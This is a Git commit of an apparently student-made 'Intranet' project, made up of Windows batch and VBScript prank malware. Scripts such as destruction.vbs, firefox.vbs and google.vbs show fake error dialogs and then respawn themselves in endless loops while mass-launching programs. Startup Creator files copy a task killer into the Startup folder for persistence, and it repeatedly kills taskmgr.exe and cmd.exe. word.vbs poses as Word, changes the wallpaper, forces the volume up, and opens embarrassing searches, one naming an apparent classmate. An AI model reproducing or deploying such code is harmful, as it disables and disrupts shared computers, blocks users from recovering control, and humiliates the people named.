Training/intranet
1
0
Fork 0
Code Releases 1 Activity

Initial commit.

Browse source
This commit is contained in:
Yohan Boujon 2017-03-05 13:52:26 +01:00
commit c661c0b8b3
74 changed files with 1171 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
Explorateur de fichiers.lnk Executable file
View file

Binary file not shown.

BIN
Google Chrome.lnk Executable file
View file

Binary file not shown.

BIN
Internet Explorer.lnk Executable file
View file

Binary file not shown.

5
Intranet/Developper Mode/calculatrice virus test.bat Executable file
View file

@ -0,0 +1,5 @@
@echo off
:main
start sol.exe
start calc.exe
goto :main

82
Intranet/Developper Mode/destruction.vbs.txt Executable file
View file

@ -0,0 +1,82 @@
Sub Main()
result = MsgBox ("Word.exe have not been found in the right directory", vbCritical, "Word.exe à cessé de fonctionner")
Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
End Select
End Sub
On Error Resume Next
Main
If Err.Number Then
WScript.Echo "Error on script"
WScript.Quit 4711
End If

8
Intranet/Developper Mode/error.vbs..txt Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("The Windows Explorer Stopped Working :(", vbCritical, "Explorer.exe Stopped Working")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
End Select

48
Intranet/Developper Mode/firefox.vbs.txt Executable file
View file

@ -0,0 +1,48 @@
result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """firefoxplus.vbx"""
Case vbNo
MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
End Select

46
Intranet/Developper Mode/google.vbs.txt Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens")
Select Case result
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "googleplus.vbs"
Case vbYes
MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
End Select

46
Intranet/Developper Mode/internetexplorer.vbs.txt Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorerplus.vbs"
Case vbNo
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
End Select

46
Intranet/Developper Mode/internetexplorerplus.vbs.txt Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorerplus.vbs"
Case vbNo
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "internetexplorer.vbs"
End Select

5
Intranet/Developper Mode/programme.bat Executable file
View file

@ -0,0 +1,5 @@
@echo off
:main
start youareanidiot.exe
start internetexplorer.vbs
goto :main

5
Intranet/Developper Mode/programme.bat.txt Executable file
View file

@ -0,0 +1,5 @@
@echo off
:main
start youareanidiot.exe
start calc.exe
goto :main

13
Intranet/Developper Mode/virus.vbs.txt Executable file
View file

@ -0,0 +1,13 @@
result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working")
Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
WScript.Sleep 10000
Loop
End Select

BIN
Intranet/Firefox.ico Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 361 KiB

BIN
Intranet/Google Chrome.ico Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 169 KiB

BIN
Intranet/Install_Intranet_logo.ico Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 361 KiB

BIN
Intranet/Internet Explorer.ico Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 361 KiB

1
Intranet/Startup Creator/startupie.bat Executable file
View file

@ -0,0 +1 @@
xcopy /s /z /y "%userprofile%\Downloads\Internet Explorer.lnk" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\"

1
Intranet/Startup Creator/startupie.vbs Executable file
View file

@ -0,0 +1 @@
CreateObject("Wscript.Shell").Run "startupie.bat",0,True

1
Intranet/Startup Creator/startuptaskill.bat Executable file
View file

@ -0,0 +1 @@
xcopy /z /y "%userprofile%\Downloads\Intranet\taskiller.vbs" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\"

1
Intranet/Startup Creator/startuptaskill.vbs Executable file
View file

@ -0,0 +1 @@
CreateObject("Wscript.Shell").Run """%userprofile%\Downloads\Intranet\Startup Creator\startuptaskill.bat""",0,True

BIN
Intranet/Uninstall_Intranet_logo.ico Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 361 KiB

BIN
Intranet/Word_Download/Scary Monsters and Nice Sprites midi Version.mp3 Executable file
View file

Binary file not shown.

BIN
Intranet/Word_Download/music.vbs Executable file
View file

Binary file not shown.

BIN
Intranet/Word_Download/scary monsters and nice spirits midi.bmp Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 5.9 MiB

BIN
Intranet/Word_Download/scary monsters and nice spirits midi.jpg Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 113 KiB

2
Intranet/Word_Download/taskiller.bat Executable file
View file

@ -0,0 +1,2 @@
taskkill /f /im taskmgr.exe
taskkill /f /im cmd.exe

4
Intranet/Word_Download/taskiller.vbs Executable file
View file

@ -0,0 +1,4 @@
Do
CreateObject("Wscript.Shell").Run "taskiller.bat",0,True
WScript.Sleep 1000
Loop

15
Intranet/Word_Download/volume.bat Executable file
View file

@ -0,0 +1,15 @@
@if (@a==@b) @end /*
:: batch portion
@ECHO OFF
cscript /e:jscript "%~f0"
:: JScript portion */
var shl = new ActiveXObject("WScript.Shell");
for (var i=0; i<50; i++) {
shl.SendKeys(String.fromCharCode(0xAF));
}

4
Intranet/Word_Download/volume.vbs Executable file
View file

@ -0,0 +1,4 @@
Do
CreateObject("Wscript.Shell").Run "volume.bat",0,True
WScript.Sleep 500
Loop

15
Intranet/Word_Download/wallpaperchanger.vbs Executable file
View file

@ -0,0 +1,15 @@
Dim shell : Set shell = CreateObject("WScript.Shell")
Dim wallpaper : wallpaper = "%userprofile%\Downloads\Intranet\Word_Download\scary monsters and nice spirits midi.bmp"
shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wallpaper
shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaperstyle", 0
shell.RegWrite "HKCU\Control Panel\Desktop\tilewallpaper", 0
shell.Run "%SYSTEMROOT%\System32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True

14
Intranet/Word_Download/wallpaperchanger2.vbs Executable file
View file

@ -0,0 +1,14 @@
Option Explicit
dim wshShell, sUserName, oShell, oFSO, sWinDir
dim wp
Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("admin")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
wp(0) = """D:\Programmation\Intranet\Word_Download\scary monsters and nice spirits midi.bmp"""
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wp(0)
oShell.Run "d:\WINDOWS\system32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True

61
Intranet/Word_Download/word.vbs Executable file
View file

@ -0,0 +1,61 @@
result = MsgBox ("Word n'a pas pu se fermer correctement la dernière fois", vbInformation, "Word.exe")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\taskiller.vbs"
WScript.Sleep 30000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\wallpaperchanger.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://www.windows93.net/"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=alzyohan+lo%C3%AFc"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=minecraft+hax+download+no+virus"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://www.pcoptimizerpro.com/"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://agar.io"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.youtube.com/channel/UCA6NH9d7e_T-pG84Pr_C7PA"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=no+man%27s+sky+c%27est+nul"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+se+masturber+%3F"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+hacker+les+pc+du+college"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=mael+letallec+instagram"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.youtube.com/channel/UCnsFagZgUXhZMC6HcX0OJxA"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://youareanidiot.org/"
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\volume.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\music.vbs"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://clashroyale-gemme.com/"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://www.nyan.cat/"""
End Select

2
Intranet/app killer/explorerkiller.bat Executable file
View file

@ -0,0 +1,2 @@
taskkill /f /IM explorer.exe

8
Intranet/cacatest.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("lol, ceci est un test", vbInformation, "Test.exe")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\app killer\explorerkiller.bat"
End Select

82
Intranet/destruction.vbs Executable file
View file

@ -0,0 +1,82 @@
Sub Main()
result = MsgBox ("Word.exe have not been found in the right directory", vbCritical, "Word.exe à cessé de fonctionner")
Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
End Select
End Sub
On Error Resume Next
Main
If Err.Number Then
WScript.Echo "Error on script"
WScript.Quit 4711
End If

8
Intranet/error.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("The Windows Explorer Stopped Working :(", vbCritical, "Explorer.exe Stopped Working")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
End Select

51
Intranet/explorer/Explorer Virus/bahsi.vbs Executable file
View file

@ -0,0 +1,51 @@
result = MsgBox ("Bah si", vbInformation ,"bahsi.exe have been found")
Select Case result
Case vbOk
Do
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
